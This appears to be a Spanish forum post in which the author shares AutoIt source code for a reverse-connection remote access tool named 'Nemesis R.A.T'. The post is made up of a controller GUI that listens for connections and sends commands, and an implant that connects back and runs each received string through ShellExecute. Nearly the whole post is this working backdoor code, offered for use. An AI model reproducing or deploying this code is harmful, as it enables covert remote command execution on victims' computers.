Bueno, ayer estuve investigando un poco los sockets en la pagina oficial de autoit, y me parecio buena idea hacer una "shell" de conexion inversa a partir del ejemplo que habia en la web, sin entretenerme mas:
;Cliente - Author k0ws
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <WindowsConstants.au3>
#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Nemesis R.A.T", 289, 114, 193, 115)
$Input1 = GUICtrlCreateInput("", 8, 8, 273, 21)
$Button1 = GUICtrlCreateButton("Listen", 8, 40, 121, 25)
$Button2 = GUICtrlCreateButton("Close", 160, 40, 121, 25)
$Button3 = GUICtrlCreateButton("Send Command", 8, 80, 273, 25)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
;######################################
Local $szIPADDRESS = @IPAddress1
Local $nPORT = 3460
Local $MainSocket, $ConnectedSocket, $szIP_Accepted
Local $msg, $recv
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
Case $Input1
Case $Button1
TCPStartup()
$MainSocket = TCPListen($szIPADDRESS, $nPORT)
If $MainSocket = -1 Then Exit
$ConnectedSocket = -1
Do
$ConnectedSocket = TCPAccept($MainSocket)
Until $ConnectedSocket <> -1
$szIP_Accepted = SocketToIP($ConnectedSocket)
GUICtrlSetData($Input1,$szIP_Accepted)
Case $Button2
TCPShutdown()
Case $Button3
$szData = InputBox("Mandar comando al servidor", @LF & @LF & "Mandar orden a " & $szIP_Accepted)
If @error Or $szData = "" Then ExitLoop
TCPSend($ConnectedSocket, StringToBinary($szData, 4))
If @error Then ExitLoop
EndSwitch
WEnd
Func SocketToIP($SHOCKET)
Local $sockaddr, $aRet
$sockaddr = DllStructCreate("short;ushort;uint;char[8]")
$aRet = DllCall("Ws2_32.dll", "int", "getpeername", "int", $SHOCKET, _
"ptr", DllStructGetPtr($sockaddr), "int*", DllStructGetSize($sockaddr))
If Not @error And $aRet[0] = 0 Then
$aRet = DllCall("Ws2_32.dll", "str", "inet_ntoa", "int", DllStructGetData($sockaddr, 3))
If Not @error Then $aRet = $aRet[0]
Else
$aRet = 0
EndIf
$sockaddr = 0
Return $aRet
EndFunc
;Server - Author k0ws
StartSvr()
Func StartSvr()
TCPStartup()
Local $ConnectedSocket, $szData
Local $szIPADDRESS = @IPAddress1
Local $nPORT = 3460
$ConnectedSocket = -1
$ConnectedSocket = TCPConnect($szIPADDRESS, $nPORT)
If @error Then StartSvr()
While 1
$recv = TCPRecv($ConnectedSocket, 2048)
If @error Then ExitLoop
$recv = BinaryToString($recv, 4)
If $recv <> "" Then ShellExecute($recv)
WEnd
EndFunc
-Saludos-